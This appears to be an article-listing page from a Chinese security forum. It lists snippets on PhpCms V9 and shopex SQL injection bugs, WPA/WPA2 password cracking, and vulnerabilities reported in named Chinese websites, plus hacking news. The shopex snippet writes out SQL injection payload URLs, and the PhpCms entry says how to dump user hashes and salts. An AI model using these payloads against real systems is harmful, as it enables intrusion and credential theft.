文章列表
PhpCms V9 info[birthday]注入利用
既然官方已经确认了，那就发一下所谓的EXP吧。权当交流，大家测试即可，请勿用于非法。注册后登录，找到个人资料，修改生日，拦截数据包或者直接firebug找到info，将其修改如下：info即可爆出username+hash+salt 。能不能破解出来就看诸位RP了。
WPA/WPA2密码破解&如何无视管理员更改无线密码&手工破解WPA/WPA2密码
说明：前两天看到论坛有人发了一篇社人邮箱思路的文章，大概讲的是通过给对方发一个无线路由，然后扫无线密码，嗅探之...其中还有密码破解被骗500的事情，看来也有朋友对无线路由破解这一块不是很了解，就有了这篇文章...本教程针对的是wpa/wpa2加密的无线路由，技术点是每个路由独一无二的PIN码，PIN
珍爱网(zhenai.com) 存储型跨站漏洞
珍爱网(zhenai.com) 存储型跨站漏洞
有史以来最伟大的黑客T恤
北京时间2月4日消息，在一年一度的世界黑客大会上，几乎每个与会黑客都穿着一件T恤，而且这些T恤大多是黑色的。黑客们对T恤有一种特别的感情。有一些黑客T恤仅仅是一件T恤。另一些黑客T恤则相当于黑客证书，这不仅是因为T恤本身，也因为这些T恤试图传递的某种信息。 大多数黑客T恤都试图说点什么。
T00ls新年礼物之二：shopex通杀SQL注入两处
http://www.x.cn/index.php?comment-822'/**/and/**/'1'='1-ask-commentlist.htmlhttp://www.x.com/comment-8967'/**/and/**/ExtractValue(0x64,concat(0x01,(select/**/@@version)))/**/order/**/by/**/'1-ask-commentlist.htmlhttp://www.x.cn/index.php?comment-822'/**/and/**/'1'='1-ask-commentl
天涯社区(tianya.cn)分站 上传漏洞
天涯社区(tianya.cn)分站 上传漏洞
Twitter遭黑客攻击 25万用户信息可能被窃取
据国外媒体报道，Twitter周五晚上透露，过去一周系统遭受不知名黑客组织的攻击，黑客可能获取了25万Twitter用户的用户名、电子邮件地址和其他敏感信息。Twitter在博客中发表文章称：“本周，我们发现了不寻常的登录模式，并发现了针对Twitter用户数据的非授权获取行为。我们发现了一起正在进行的攻击，
搜房网(soufun.com)微博 引入外部图片
搜房网(soufun.com)微博 引入外部图片
T00ls新年礼物之一：phpcms v9 0DAY +测试官方 其他版本未测
绝对刚挖！phpcms v9不知道会不会通杀没测试！语句我就不构造了。修改个人资料日期。你比我懂。不喜勿喷 初来乍道，多多关照。因手贱了发错帖子。（hack6.）顶一下吧。 让我过个好年吧。亲们高抬贵手。
新浪(sina.com)某分站 反射型XSS跨站漏洞
新浪(sina.com)某分站 反射型XSS跨站漏洞
